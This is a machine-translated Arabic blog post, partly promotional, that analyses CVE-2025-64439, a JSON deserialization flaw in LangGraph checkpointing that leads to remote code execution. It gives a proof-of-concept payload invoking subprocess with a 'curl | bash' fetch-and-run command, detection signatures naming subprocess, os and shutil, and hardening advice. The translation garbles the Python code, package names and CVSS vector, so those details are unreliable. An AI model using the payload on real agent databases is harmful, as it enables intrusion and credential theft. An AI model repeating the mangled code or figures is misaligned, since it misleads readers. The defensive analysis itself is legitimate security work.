تشريح تقني لثغرة CVE-2025-64439 (CVSS 9.8)، وهي ثغرة خطيرة في متسلسل نقاط التفتيش في لانجغراف. نقوم بتحليل الخلل المنطقي لإلغاء تسلسل JSON، وسلسلة القتل لتسميم ذاكرة عامل الذكاء الاصطناعي، واستراتيجيات الدفاع التي تعتمد على الذكاء الاصطناعي.
في التطور المعماري لعام 2026, الذكاء الاصطناعي العميل من دفاتر Jupyter الدفترية التجريبية إلى بنية تحتية مؤسسية ذات مهام حرجة. أطر عمل مثل لانجغراف أصبحت العمود الفقري لهذه الأنظمة، مما يمكّن المطورين من بناء تطبيقات متعددة العوامل ومتعددة الحالات يمكنها إيقاف المهام المعقدة واستئنافها وتكرارها.
ومع ذلك، فإن الكشف عن CVE-2025-64439 (نقاط CVSS 9.8، الحرجة) يكشف عن نقطة ضعف كارثية في الآلية التي تجعل هذه العوامل "ذكية": ذاكرتها طويلة المدى.
هذه ليست ثغرة نموذجية في الويب. إنها الخيار النووي لسلسلة التوريدات يستهدف طبقة ثبات الذكاء الاصطناعي. يكمن الخلل في نقطة تدقيق-لانجراف-لانجراف المكتبة - وتحديدًا في كيفية JsonPlusSerializer يتعامل مع استعادة البيانات. من خلال استغلال ذلك، يمكن للمهاجمين حقن حمولات JSON خبيثة في مخزن حالة الوكيل (مثل SQLite و Postgres)، مما يؤدي إلى تشغيل تنفيذ التعليمات البرمجية عن بُعد (RCE) اللحظة التي يحاول فيها النظام "تذكر" حالة سابقة لاستئناف سير العمل.
بالنسبة لمهندس أمن الذكاء الاصطناعي المتشدد، فإن الآثار المترتبة على ذلك صارخة: "الدولة" هي "المدخلات" الجديدة. إذا تمكن أحد المهاجمين من التأثير على التاريخ التسلسلي للوكيل، فبإمكانه تنفيذ تعليمات برمجية عشوائية على خادم الاستدلال. تحلّل هذه المقالة الشيفرة المصدرية للكشف عن آليات سلسلة القتل "تسميم الذاكرة" هذه.
بطاقة استخبارات الثغرات الأمنية
| متري | تفاصيل الاستخبارات |
|---|---|
| معرّف CVE | CVE-2025-64439 |
| المكون المستهدف | نقطة تدقيق-لانجراف-لانجراف (المكتبة الأساسية) و لانجغراف-شيك بوينت-سقلايت |
| الإصدارات المتأثرة | نقطة تدقيق-لانجراف-لانجراف < 3.0.0; لانجغراف-شيك بوينت-سقلايت <= 2.1.2 |
| فئة الضعف | إلغاء التسلسل غير الآمن (CWE-502) الذي يؤدي إلى RCE |
| درجة CVSS v3.1 | 9.8 (حرج) (av:n:n/ac:l/pr:n/ui:n/ui:n/s:u:c:h/i:h/a:h) |
| ناقل الهجوم | تسميم قاعدة بيانات نقطة التدقيق، رجل في الوسط في نقل الحالة |
تعمّق تقني: الـ JsonPlusSerializer مصيدة
لفهم CVE-2025-64439، يجب فهم كيفية تعامل LangGraph مع الثبات. على عكس مكالمة LLM عديمة الحالة، يحتاج الوكيل إلى حفظ قيم متغيرات المكدس وسجل المحادثة وخطوات التنفيذ - حتى يتمكن من استئنافها لاحقًا. يتم التعامل مع هذا عن طريق نقاط التفتيش.
يحاول LangGraph استخدام مسجباك من أجل الكفاءة. ومع ذلك، نظرًا لأن كائنات بايثون في عمليات سير عمل الذكاء الاصطناعي غالبًا ما تكون معقدة (فئات مخصصة، ونماذج Pydantic)، فإنها تنفذ آلية احتياطية قوية: وضع JSONيتم التعامل معها بواسطة JsonPlusSerializer.

1. منطق "المُنشئ" القاتل
لا تكمن الثغرة في استخدام JSON، ولكن في كيف يوسع LangGraph JSON لدعم أنواع بايثون المعقدة. لإعادة بناء كائن بايثون من JSON، يبحث المتسلسل عن مخطط معين يحتوي على "مفاتيح سحرية":
ل ج: معرّف إصدار LangChain/LangGraph (على سبيل المثال,2).النوع: نوع الكائن (على وجه التحديد السلسلة"مُنشئ").الهوية: قائمة تمثل مسار الوحدة النمطية للفئة أو الدالة.كوارغز: الحجج لتمريرها إلى ذلك المُنشئ.
الخلل في الإصدارات المتأثرة، تثق أداة إلغاء التحويل في الهوية ضمنيًا. لا يتحقق من صحة ما إذا كانت الوحدة النمطية المحددة هي مكون LangGraph "آمن" أو مكتبة نظام خطيرة. يستورد ديناميكيًا الوحدة النمطية وينفذ المُنشئ بالوسائط المقدمة.
2. إعادة بناء رمز الطب الشرعي
استنادًا إلى تحليل التصحيح، فإن المنطق الضعيف في langgraph/checkpoint/serde/jsonplus.py يشبه النمط التالي:
بايثون
'# المنطق المبسط الضعيف المبسط تعريف _تحميل_المُنشئ (القيمة): # DANGEROUS DANGEROUS: لا يوجد تحقق من قائمة المسموح به على 'المعرف' # 'المعرف' يأتي مباشرةً من حمولة JSON payload module_path = القيمة ["المعرف"][:-1] class_name = القيمة ["المعرف"][-1]
# استيراد ديناميكي لأي وحدة نمطية
الوحدة النمطية = importlib.import_module(".".join(module_path))
cls = getattr(module, class_name)
# تنفيذ المنشئ
إرجاع cls(**القيمة["kwargs"])``
هذا المنطق يحول أداة إلغاء التحويل إلى منفذ "سلسلة أدوات" عامة، على غرار أداة Java سيئة السمعة ObjectInputStream الثغرات، ولكن استغلالها أسهل لأن الحمولة عبارة عن JSON يمكن للبشر قراءتها.
سلسلة القتل تسمم الذاكرة
كيف يمكن للمهاجم إدخال JSON إلى النظام؟ سطح الهجوم أوسع مما يبدو.
المرحلة 1: الحقن (السم)
يحتاج المهاجم إلى الكتابة إلى قاعدة البيانات حيث يتم تخزين نقاط التفتيش.
- السيناريو (أ) (المدخلات المباشرة): إذا قبل الوكيل مدخلات المستخدم المخزنة بشكل خام في الحالة (على سبيل المثال، "تلخيص هذا النص: [MALICIOUS_JSON]"، وكان منطق تسلسل التطبيق معيبًا، فقد تتم كتابة الحمولة إلى قاعدة البيانات.
- السيناريو ب (حقن SQL المحوري): يستخدم أحد المهاجمين حقن SQL منخفضة الخطورة (مثل CVE-2025-8709) لتعديل
نقاط التفتيشجدول في SQLite/Postgres مباشرة، وإدراج حمولة RCE فيخيط_خيطأو فقاعة الدولة.
المرحلة 2: التسليح (الحمولة)
ينشئ المهاجم حمولة JSON تحاكي كائنًا صالحًا من LangGraph ولكنها تشير إلى عملية فرعية.
مفهوم حمولة برنامج العمل:
JSON
{"lc": 2، "type": "مُنشئ"، "معرف": ["subprocess", "check_output"]، "kwargs": {"args": ["/bin/bash", "-c", "curl | bash"]، "shell": خطأ، "نص": صحيح } }
المرحلة 3: التفجير (الاستئناف)
لا يتم تنفيذ الكود فورًا عند الحقن. يتم تنفيذه عندما يقوم العميل يقرأ الولاية
- يقوم المستخدم (أو المهاجم) بتشغيل الوكيل لاستئناف مؤشر ترابط (على سبيل المثال، "متابعة المهمة السابقة").
- يستعلم LangGraph عن قاعدة البيانات بحثًا عن أحدث نقطة تفتيش.
- إن
JsonPlusSerializerيحلل النقطة. - إنه يقابل
المُنشئالنوع. - يستورد
عملية فرعيةويديرتحقق_الإخراج. - تم الإنجاز.
تحليل التأثير: سرقة دماغ الذكاء الاصطناعي
إن اختراق الخادم الذي يشغل LangGraph أخطر بكثير من اختراق خادم ويب قياسي بسبب طبيعة أعباء عمل الذكاء الاصطناعي.
- حصاد بيانات الاعتماد: يعتمد وكلاء الذكاء الاصطناعي على متغيرات البيئة لمفاتيح واجهة برمجة التطبيقات (
OPENAI_API_KEY,أنثروبيك_بابي_مفتاح,AWS_ACCESS_KEY). يمنح RCE إمكانية الوصول الفوري إلىos.environ. - ناقل استخراج قاعدة البيانات الناقلة: غالبًا ما يكون لدى العملاء حق الوصول للقراءة/الكتابة إلى Pinecone أو Milvus أو Weaviate. يمكن للمهاجم تفريغ قواعد المعرفة الخاصة (بيانات RAG).
- عدوى الوزن النموذجية: إذا كان الخادم يستضيف نماذج محلية (على سبيل المثال، باستخدام Ollama)، يمكن للمهاجمين تسميم أوزان النماذج أو تعديل خط أنابيب الاستدلال.
- الحركة الجانبية: تم تصميم وكلاء لانجغراف من أجل القيام بأشياء-استدعاء واجهات برمجة التطبيقات، والاستعلام عن قواعد البيانات، وإرسال رسائل البريد الإلكتروني. يرث المهاجم جميع الأذونات والأدوات المعينة للوكيل.
الدفاع القائم على الذكاء الاصطناعي: الميزة البنلجنتية
يُعدّ اكتشاف CVE-2025-64439 كابوسًا لأدوات اختبار أمان التطبيقات الديناميكية القديمة (DAST).
- عمى البروتوكول: تبحث الماسحات الضوئية عن نماذج HTML ومعلمات URL. فهي لا تفهم بروتوكولات التسلسل الثنائي الداخلي أو بروتوكولات تسلسل JSON الداخلية التي تستخدمها أطر عمل Python AI.
- عمى الدولة: يتم تشغيل الثغرة الأمنية على اقرألا اكتب. قد يقوم الماسح الضوئي بحقن حمولة ولا يرى أي خطأ فوري، مما يؤدي إلى نتيجة سلبية كاذبة.
هذا هو المكان Penligent.ai يمثل نقلة نوعية لأمن تطبيقات الذكاء الاصطناعي. يستخدم Penligent تحليل التبعيات العميقة والتشويش المنطقي:
- البصمات الكاملة للذكاء الاصطناعي
يتخطى وكلاء Penligent حدود تجميد النقاط. فهي تفحص حاويات التطوير والإنتاج لتحديد إصدارات التجزئة الدقيقة من langgraph و langchain-core و langgraph-checkpoint. يتعرّف على سلسلة التبعية الضعيفة حتى لو كانت متداخلة بعمق داخل صورة Docker، ويضع علامة على وجود JsonPlusSerializer بدون قوائم السماح.
- تشويش بروتوكول التسلسلية
يفهم Penligent "لغة الوكلاء". يمكنه توليد حمولات استقصائية محددة تحتوي على علامات التسلسل (مثل lc=2 واستدعاءات المُنشئ الحميد).
- مسبار غير مدمر: بدلًا من القشرة العكسيّة، يحقن Penligent حمولةً تُشغّل عملية بحث حميدة عن نظام أسماء النطاقات (على سبيل المثال، باستخدام
socket.gethostbyname). - المصادقة: إذا تلقى مستمع OOB من Penligent OOB استعلام DNS عند تحميل حالة الوكيل، يتم تأكيد الثغرة الأمنية مع تأكيد 100%.
- تدقيق المخازن الحكومية
يتصل Penligent بطبقة المثابرة (SQLite/Postgres) التي يستخدمها عملاء الذكاء الاصطناعي لديك. يقوم بمسح النقط المخزنة بحثًا عن "الحمولات الخاملة" - هياكل JSON الخبيثة التي تنتظر إعادة التسلسل - مما يتيح لك تعقيم قاعدة البيانات الخاصة بك قبل وقوع حادث.

دليل المعالجة والتقوية
إذا كنت تقوم بالبناء باستخدام LangGraph، فيجب إجراء معالجة فورية.
1. ترقية التبعيات (الإصلاح)
الترقية نقطة تدقيق-لانجراف-لانجراف إلى الإصدار 3.0.0 أو أعلى على الفور.
- الآلية: يزيل الإصدار الجديد الدعم الافتراضي لـ
المُنشئفي تسلسل JSON أو يفرض قائمة سماح صارمة وفارغة افتراضيًا. يجبر المطورين على تسجيل فئات آمنة للتسلسل بشكل صريح.
2. تنظيف قاعدة بيانات الطب الشرعي
إذا كنت تشك في أن نظامك قد تعرض للخطر، فلا يمكنك الاكتفاء بتصحيح الشيفرة البرمجية؛ يجب عليك تنظيف البيانات.
- الإجراء: نص أداة للتكرار من خلال
نقاط التفتيشجدول. حلل كل نقطة JSON. - التوقيع: ابحث عن
{"النوع": "مُنشئ"، "معرف": ["العملية الفرعية"، ...]}أو أيالهويةمشيراً إلىos,نظامأوشاتيل. - التطهير: احذف أي موضوع/نقطة تفتيش تحتوي على هذه التواقيع.
3. عزل الشبكة ووقت التشغيل
- تصفية الخروج: يجب ألا يكون لوكلاء الذكاء الاصطناعي وصول غير مقيد إلى الإنترنت. حظر الاتصالات الصادرة لعناوين IP غير معروفة لمنع عمليات الصدفة العكسية.
- عزل قاعدة البيانات: تأكد من عدم إمكانية الوصول إلى ملف SQLite أو مثيل Postgres الذي يخزن نقاط التفتيش عبر الواجهات العامة.
- أقل امتيازات تشغيل خدمة الوكيل مع مستخدم ليس لديه حق الوصول إلى shell (
/bin/false) وأدوار IAM محددة النطاق بدقة.
الخاتمة
CVE-2025-64439 بمثابة جرس إنذار لصناعة الذكاء الاصطناعي. نحن نبني أنظمة تتسم بالاستقلالية والحالة بشكل متزايد، لكننا نبنيها على أسس هشة من الثقة. ذاكرة العميل هي سطح قابل للتغيير وقابل للتسلح.
بينما نتحرك نحو الأنظمة المتصلة بالذكاء الاصطناعي المتقدم، يجب أن تتطور الهندسة الأمنية. يجب أن نتعامل مع "الحالة" بنفس الشكوك التي نتعامل بها مع "مدخلات المستخدم". لم يعد التحقق من صحة منطق التسلسل، وتدقيق التبعيات، وتوظيف أدوات الأمان الأصلية للذكاء الاصطناعي مثل Penligent اختيارية بعد الآن - بل هي متطلبات أساسية للبقاء في عصر الذكاء الاصطناعي العميل.

